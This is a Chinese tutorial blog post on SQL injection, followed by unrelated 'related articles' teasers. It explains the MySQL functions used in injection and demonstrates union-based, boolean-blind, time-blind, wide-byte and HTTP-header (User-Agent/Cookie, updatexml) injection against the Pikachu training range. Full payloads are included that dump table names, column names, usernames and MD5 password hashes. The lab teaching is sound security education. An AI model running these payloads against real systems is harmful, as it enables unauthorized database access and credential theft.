SQL注入漏洞,常用注入函数及其pakachu漏洞靶场演示

目录

SQL注入漏洞概述

SQL注入的常用函数

漏洞分类与利用

1.基于联合查询的SQL注入

2.盲注

时间盲注(base on bool)​编辑

3.宽字节注入

4.inset/update/delete注入

5.header注入

1.HTTP头部详解

2.漏洞利用


SQL注入漏洞概述

SQL:是操作数据库数据的结构化的查询语言,实现对网页应用数据和后台数据库的交互。SQL注入是将表单域或数据包输入的参数,拼接成的SQL语句,传递给Web服务器,进而传给数据库服务器并得到执行,达到获取数据库信息的目的。如果Web应用程序的开发人员对用户输入的数据或Cookie等内容未过滤或者验证就直接传给数据库,就可能导致恶意的SQL语句被执行,进而获取数据库的信息,造成SQL注入攻击。

SQL注入漏洞产生的主要原因:

  1. 用户可以控制前端传给后端的参数。
  2. 传入的参数被拼接到SQL语句中,并被执行。
  3. 用户输入的参数未被验证或者过滤。

SQL注入的常用函数

1.concat函数

concat函数主要功能就是将多个字符拼接成一个字符串

  • 语法:concat(str1,str2,......),返回的结果为连接参数生成的新字符串,如果有任何一个参数为NULL,则返回值就为NULL。

将数据表中多列数据排成一列,便于显示结果,concat_ws函数和concat函数类似,区别是concat—ws函数可以指定分隔符,其语法为:concat_ws(separator,str1,str2,...),需要注意的是分隔符不能为NULL,如果为NULL,则返回结果为NULL。group_concat函数也和concat类似,区别是group_concat函数主要用在含有group_by的查询语句中,将同一个分组的值拼接起来。

  • 语法:group_concat({distinct}column{separator‘分隔符’})

2.length函数

length函数主要功能就是计算字符串的字符长度。

  • 语法:length(str1),返回结果为字符串长度。

在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一本被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。

3.ascii函数

ascii函数主要功能就是计算字符的sacii码值。

  • 语法:ascii(char),返回结果为字符对应的ascii码值。

盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。

4.substr函数

substr函数主要功能就是截取字符串

  • 语法:substr(string,start,length),其中string为字符串,start为起始位置,length为字符长度,返回结果为字符串。

盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。

5.left、right函数

left函数主要功能也是截取字符串,默认从左截取。right同理

  • 语法:left(string,length),其中string为长度,返回结果为子字符长度。

6.if函数

根据条件表达式的结果返回不同的值

  • 语法:if(confition,value_if_ture,value_if_false),其中confition为条件表达式,value_if_ture,value_if_false分别是条件为真或假的时候表达的ture或flase作为条件返回的值

在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。

7.updatexml函数

改变文档中符合条件的节点的值

  • 语法:updatexml(xml_document,XPath_string,new_value),其中xml_document为XML文档对象,XPath_string是XPath格式的字符串,报错注入时,需要写入错误的格式来显示错误的信息,new_valiue是string格式替换查找到符合条件的的数据,在注入时可以加入任意字符,执行XPath_string中SQL语句,获取相应的信息。

SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。

漏洞分类与利用

SQL注入漏洞种类有很多,按照数据类型分为数字型、字符型和搜索型;按照提交方式可分为GET型、POST型、Cookie型和HTTP请求头注入型;按照执行效果可以分为,报错注入,联合查询注入、联合查询注入、盲注和堆查询注入,其中盲注又可以分为基于布尔和基于时间注入。

1.基于联合查询的SQL注入

联合查询是合并多个相似选择查询的结果集,即将一个表追加到另一个表,从而实现将两个表的杳询结果组合在一起,使用关键词为union或union all。
基于联合查询的SQL注入是SQL注入的一种,既要满足SOL注入漏洞存在的一般条件,还要满足查询的信息在前端有回显。

基于pikachu平台,我演示一个完整的基于联合查询的SOL注入案例。

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";

由第24~26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第28~31行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用execute函数执行SQL语句获取数据,从而造成SOL注入漏洞,由第32~34行代码可知,后端将获取到的member数据表的id、emai字段的数据返回给前端。因此,可以利用基于联合査询的SQL注入进行攻击。

1.判断是否存在SQL注入点

输入kobe,查询出kobe的基本信息

输入kobe' and 1=1#,查询,也可以查询出kobe的基本信息

输入kobe' and 1=2#,不能查询出boke基本信息,可以判断出此处存在字符型的SQL漏洞。

2.判断查询数据表中字段的数目。

输入kobe' order by 2#,查询

输入kobe' order by 3#,查询,不能查询出信息,判断出字段数为2

3.判断回显字段

输入kobe' union select 1,2#,查询,两个字段均有回显

4.获取数据库的名称

输入kobe' union select 1,database()#,回显出数据库名为pikachu

5.获取数据表的名称

输入kobe' union select 1, table_name from information_schema.tables where table_schema=database()#

由此可以判断出数据表名:httpinfo,member,message,users,xssblind.

6.获取字段名

kobe' union select 1, column_name from information_schema.columns where table_schema=database() and table_name='users'#

由此可以判断出数据字段名:id,username,password,level

7.获取详细数据

kobe' union select username,password from users#

your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

your uid:test
your email is: e99a18c428cb38d5f260853678922e03

8.使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型

判断为MAD5

使用网站MD5免费在线解密破解_MD5在线加密-SOMD5

2.盲注

在SQL注入过程中,SQL语句执行后,查询的数据不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。根据表现形式的不同,盲注又分为布尔型盲注和时间型盲注。

基于pikachu平台,我演示一个完整的布尔型盲注的SOL注入案例。

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    //mysqi_query不打印错误描述,即使存在注入,也不好判断
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

由第25行和第26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第27~30行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用mysqli query函数执行SQL语句获取数据,从而造成SQL注入漏洞,与“字符型注入(get)”漏洞模块的核心源代码不同,第29行代码的判断条件为“==1”,无法使用基于联合査询的SOL注入攻击,由第30~36行代码可知,后端向前端只返回两种结果。因此,可以利用布尔盲注进行攻击。

1.判断注入点

盲注和联合查询注入一样,利用kobe' and 1=1#和kobe' and 1=2#回显结果不一样可以判断出存在SQL注入漏洞,但是和联合查询不一样的是,盲注只显示两种结果,需要利用两种不同的查询结果来判断数据库的信息是否正确。

2.判断数据库名长度

kobe' and length(database())>6#

kobe' and length(database())>7#

判断出数据库名长度为7

3.获取数据库名

输入kobe' and ascii(substr(database(),1,1))>112#

kobe' and ascii(substr(database(),1,1))>111#

由此可以判断数据库名称的第一个字母的ascii码为112,即为字母p,用同样的方法判断,数据库名其他字母依次为:i、k、a、c、h、u,因此,数据库名为“pikachu”

4.获取数据表数目

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5#

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>4#

可以判断出数据表数目为5

5.获取第一条数据表的长度

kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>8#

kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>7#

6.获取数据表的名称

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>104#

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>103#

第一个数据表名称的第一个字母的 asci 码值为104,即数据表名称的第一个字母为 h。用同样的方法判断,数据表名称的其他字母依次为:t、t、p、i、n、f、0,因此,第一个数据表名称为“httpinfo”。用同样的方法,得到其余的数据表名称次为:member、message、users、xssblind.

7.获取数据表的列数

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>4#

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>3#

8.获取数据表的列名称的字符数

kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>2#

kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1#

观察两次查询结果不同,可以判断表的第一列名称字符数目为2

9.获取数据表的列名称

kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>104#

kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>105#

观察两次查询结果不同,可以判断表的第一列的第一个字符对应 ascii 码为105,即字符为i,用同样的方法判断表的第一列名称第二个字符为d。因此,表的第一列名称为id。采用同样方法依次得出其余三个字段的名称为:usermame、password、level.

10.获取数据表中数据的数目

kobe' and (select count(id) from users)>2#

kobe' and (select count(id) from users)>3#

观察两次查询结果不同,可以判断数据表中的数据数目为3。

10.获取数据表中具体数据项的字符数目

kobe' and (select length(username) from users limit 0, 1)>4#

kobe' and (select length(username) from users limit 0, 1)>5#

可以判断数据表中具体数据项的字符数目为5

11.获取数据表中数据

kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>96#

kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>97#

可以判断users表的username列的第一行数据的第一字符对应ascii码为97,即字符为a,用同样的方法可以获取其余字符依次为d、m、i、n。因此,users表的username列中的第一行数据为“admin”。采用同样方法可以获取其他字段中的数据,直至获取数据表中的全部数据。

时间盲注适用的场景通常是无法从Web显示页面上获取执行结果,这种场景下,可以在SQL语句中使用Sleep函数,结合判断条件,观察加载网页的时间来判断条件是否成立,从而获取有效信息,达到攻击的目的,一般把这种攻击方法叫作时间盲注攻击。

2.1时间盲注(base on bool)

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

与“盲注(base on bool)”漏洞模块的核心源代码区别是第34行和第37行代码。由代码可知,后端向前端只返回一种结果,且返回结果中不包含任何数据库中的数据信息,因此,可以采用时间盲注进行攻击。

1.判读注入点

调出浏览器的调试工具,选择“网络”选项卡,在编辑框中输入“kobe'and sleep(5)#”,执行结果由图可知,网络响应时间延迟了5秒,说明存在时间型盲注。

kobe' and if((substr(database(), 0, 1))='p', sleep(5), null)#

由图可知,网络响应时间延迟了接近5秒,说明数据库名称的第一个字符为P,可采用相同的方法,获取数据库中的其他信息。

3.宽字节注入

PHP中的addslashes函数会自动过滤“,”“nul”等敏感字符,将它们转义成“\”“null!”。然而,宽字节字符集比如GBK会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸,构成单引号闭合。

4.inset/update/delete注入

inset/update/delete注入就是指前端输入的信息会被后台构建为inset/update/delete语句,若没有做出相应的处理,就会构成inset/update/delete注入。

$html='';
if(isset($_GET['submit'])){
    if($_GET['username']!=null && $_GET['password']!=null){
        //转义,防注入
        $username=escape($link, $_GET['username']);
        $password=escape($link, $_GET['password']);
        $query="select * from member where username='$username' and pw=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            $_SESSION['sqli']['username']=$username;
            $_SESSION['sqli']['password']=sha1(md5($password));
            header("location:sqli_mem.php");
        }else{
            $html.="<p>登录失败,请重新登录</p>";
        }

  后端将接收到的参数未做任何过滤和处理,直接拼接到SQL 语句中,并使用 execute 函数执行 SQL 语句更新数据,从而造成 SOL 注入漏洞。

5.header注入

1.HTTP头部详解

  • User-Agent:客户端基本信息,如操作系统、浏览器版本等。
  • Cookie:网站为了辨别用户身份、存储在用户本地终端上的数据。
  • X-Forwarded-For:简称XFF头,它代表客户端,也就是 HTTP 的请求端真实的 。
  • Rerferer:记录访问到资源的原始URI。
  • Host:客户端指定访问的WEB服务器的IP 地址和端口号。

2.漏洞利用

由代码可知,后端将接收到的客户端参数未做任何过滤和处理,直接拼接到SQL语句中,并使用 execute 函数执行 SQL 语句,插入数据,从而造成 SQL 注入漏洞。

1.输入账号密码进行登录打开pikachu平台“header注入”漏洞模块,输入账号和密码,单击“登录”按钮,并使用Burp Suite拦截数据包.

2.将数据包发送到“Repeater”模块,并将User-Agent修改为Mozilla'or updatexml(1concat(0x7e,database()),0)or'

3.发送数据包到服务器,从服务器返回的数据包,获取数据库名为“pikachu”获取到数据库名pikachu

4.也可以利用Cookie头注入获取数据库信息。在Cookie的admin后,分号前添加gmdupdatexml(1,concat(0x7e,database0),0)#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/434819.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QLC SSD:LDPC纠错算法的优化方案

随着NAND TLC和QLC出现,LDPC也在不断的优化研究,提升纠错能力。小编看到有一篇来自Microchip发布的比较详细的LDPC研究数据,根据自己的理解分析解读给大家,如有错误,请留言指正! 文档中测试LDPC(Low-Density Parity-Check)码是为了评估其在不同配置下对数据错误的有效…

【洛谷 P8749】[蓝桥杯 2021 省 B] 杨辉三角形 题解(动态规划+组合数学+滚动数组)

[蓝桥杯 2021 省 B] 杨辉三角形 题目描述 下面的图形是著名的杨辉三角形: 如果我们按从上到下、从左到右的顺序把所有数排成一列&#xff0c;可以得到如下数列&#xff1a; 1 , 1 , 1 , 1 , 2 , 1 , 1 , 3 , 3 , 1 , 1 , 4 , 6 , 4 , 1 , … 1,1,1,1,2,1,1,3,3,1,1,4,6,4,1, …

《金三银四求职攻略》:程序员面试季倒计时

程序员的金三银四求职宝典 大家好&#xff0c;我是小明&#xff0c;一位即将面临春季求职季的程序员。在这个黄金时段&#xff0c;如何在众多应聘者中脱颖而出&#xff0c;拿下理想的offer&#xff0c;成为了我思考的重点。今天&#xff0c;我将分享一些我个人的求职攻略&…

Claude3 AI系列重磅推出:引领多模态智能时代的前沿技术,超越GPT-4

Claude3正式发布&#xff1a;号称性能超 GPT-4&#xff0c;免费使用、支持中文 划重点: &#x1f680; Claude3系列发布&#xff0c;包括Haiku、Sonnet和Opus版本&#xff0c;Opus在多个领域超越GPT-4。 &#x1f310; 用户可免费使用Claude3Sonnet模型&#xff0c;支持中文&am…

[Firefly-Linux] RK3399点亮eDP液晶屏并支持触摸

连接方法 EDP 液晶屏模组与主控的连接分为四部分: (1)屏幕背光 (2)EDP 信号 (3)电压跳线 (4)TP 触摸 屏幕背光 屏幕背光的原理图如下: BL_EN 是背光使能引脚,连接到主控的 GPIO1_A1 端口LCD_BL_PWM0 是 PWM 调光引脚,使用主控的 PWM0 端口EDP 信号 EDP 信号的…

Java开发面试准备,轻松搞定SpringBoot数据校验

程序员&#xff1a;给多少工资&#xff0c;干多少事 我们不是经常会看到一个关于西游记的“悖论”吗&#xff1a; 为什么孙悟空初期大闹天宫的时候那么厉害&#xff1f;因为他自己当老板&#xff0c;打一群天庭的打工仔。 为什么取经路上又变得不行了&#xff1f;作为一个打工…

96、C++ 性能优化一览

在对 C++ 版本的 resnet50 经过大约 5 个版本的优化之后,性能也基本达到了预期。至少利用手写的 resnet50 在 CPU 上推理一张图片感觉不到卡顿了。 下面对这几个版本的性能优化做一个总结。 初始版本1 第一版本的 C++ 代码,并没有考虑性能问题,仅仅是想按照手写 resnet50 …

Golang-channel合集——源码阅读、工作流程、实现原理、已关闭channel收发操作、优雅的关闭等面试常见问题。

前言 面试被问到好几次“channel是如何实现的”&#xff0c;我只会说“啊&#xff0c;就一块内存空间传递数据呗”…所以这篇文章来深入学习一下Channel相关。从源码开始学习其组成、工作流程及一些常见考点。 NO&#xff01;共享内存 Golang的并发哲学是“要通过共享内存的…

【YOLO v5 v7 v8 v9小目标改进】RevCol:解决深度学习信息从低层(输入)传递至高层(输出)的过程中,信息会逐层丢失问题

RevCol&#xff1a;解决深度学习信息从低层&#xff08;输入&#xff09;传递至高层&#xff08;输出&#xff09;的过程中&#xff0c;信息会逐层丢失问题 学习解耦表示可逆列网络&#xff08;RevCol&#xff09;子特征1&#xff1a;多级可逆单元子特征2&#xff1a;可逆列架构…

移动开发:图像查看器

一、新建ImageViewer模块&#xff0c;添加p1-p9图片(注意mdpi后缀) 二、相关代码 1.MainActivity.java文件代码 package com.example.imageviewer;import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle; import android.view.MotionEvent; import and…

Windows安装MySQL详细教程

1.1 下载MySQL压缩包 官网下载链接[点击跳转] 按图中选择&#xff0c;然后点击【Download】 点击图中箭头所指方向直接下载 1.2 解压下载好的压缩包后找到【bin】文件夹&#xff0c;并记下文件路径&#xff08;下文将以路径 D:\mysql-8.0.36-winx64\bin 为例&#xff09; 1.…

【Java EE初阶二十七】深入了解cookie

1. 简单了解cookie Cookie是http请求里header 中的一个属性&#xff0c;浏览器持久化存储数据的一种机制&#xff0c;网页无法访问主机的文件系统&#xff0c;要想存储数据就得通过其他的方式&#xff1b; 且cookie中保存的数据也是键值对的形式&#xff0c;最终还是要把这个键…

Selenium的UI自动化测试屏幕截图功能实例代码

UI自动化测试执行过程中&#xff0c;当遇到检查失败的情况&#xff0c;往往会发现打印的log并不能有效地帮助我们定位问题。我们需要失败时刻的屏幕截图来重现当时的失败场景&#xff0c;进而排查出错原因。 基于这种需求可以使用Selenium的屏幕截图功能。 实现代码如下&…

程序计数器介绍

程序计数器是计算机处理器中的寄存器&#xff0c;它包含当前正在执行的指令的地址(位置)。当每个指令被获取&#xff0c;程序计数器的存储地址加一。在每个指令被获取之后&#xff0c;程序计数器指向顺序中的下一个指令。当计算机重启或复位时&#xff0c;程序计数器通常恢复到…

Matlab数值计算(多项式插值)

多项式插值问题 拉格朗日插值多项式 例1&#xff1a;在某个化学反应过程中&#xff0c;在有限个时刻t(min)&#xff0c;测得生成物浓度y(g/)d的数据如下&#xff1a; 123468101214164.006.418.018.799.539.8610.3310.4210.5310.61 求在时刻t5分&#xff0c;t16.4分时的浓度是…

开发者如何选择代码签名证书?

代码签名证书是一种由权威认证机构颁发的数字证书&#xff0c;它允许软件开发者对其代码进行数字签名。这种签名基于公钥基础设施&#xff08;PKI&#xff09;技术&#xff0c;使用一对密钥&#xff1a;一个私钥和一个公钥。私钥用于生成签名&#xff0c;而公钥则嵌入到代码签名…

微信小程序开发:页面分享卡片、风格选择、通道启用等可配置

上文说到&#xff0c;我们部署了定时任务&#xff0c;但是有个地方忘记在上文写了&#xff0c;这里补上&#xff0c;就是定时任务的超时时间问题&#xff0c;超时时间有7200秒&#xff1a; 我们改成7100秒&#xff1a; 再把云函数调用的云对象的超时时间也改下&#xff1a; 超时…

20240306作业

1.编写一个伪终端&#xff1a;在真正的终端上运行这个伪终端程序之后&#xff0c;能够执行所有的shell指令&#xff0c;甚至再次运行自己 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h…

Vue3.2 + vue/cli-service 打包 chunk-vendors.js 文件过大导致页面加载缓慢解决方案

chunk-vendors.js 是/node_modules 目录下的所有模块打包成的包&#xff0c; 但是这包太大导致页面加载很慢&#xff08;我的都要3-4秒了&#xff09;&#xff0c; 这个时候就会出现白屏的情况 解决方案 1、compression-webpack-plugin 插件解决方案 1&#xff09;、安装 npm …

Docker数据卷篇

1. 数据卷&#xff08;容器数据管理&#xff09; 引言&#xff1a;在之前的nginx案例中&#xff0c;修改nginx的html页面时&#xff0c;需要进入nginx内部。并且因为没有编辑器&#xff0c;修改文件也很麻烦。 这就是因为容器与数据&#xff08;容器内文件&#xff09;耦合带…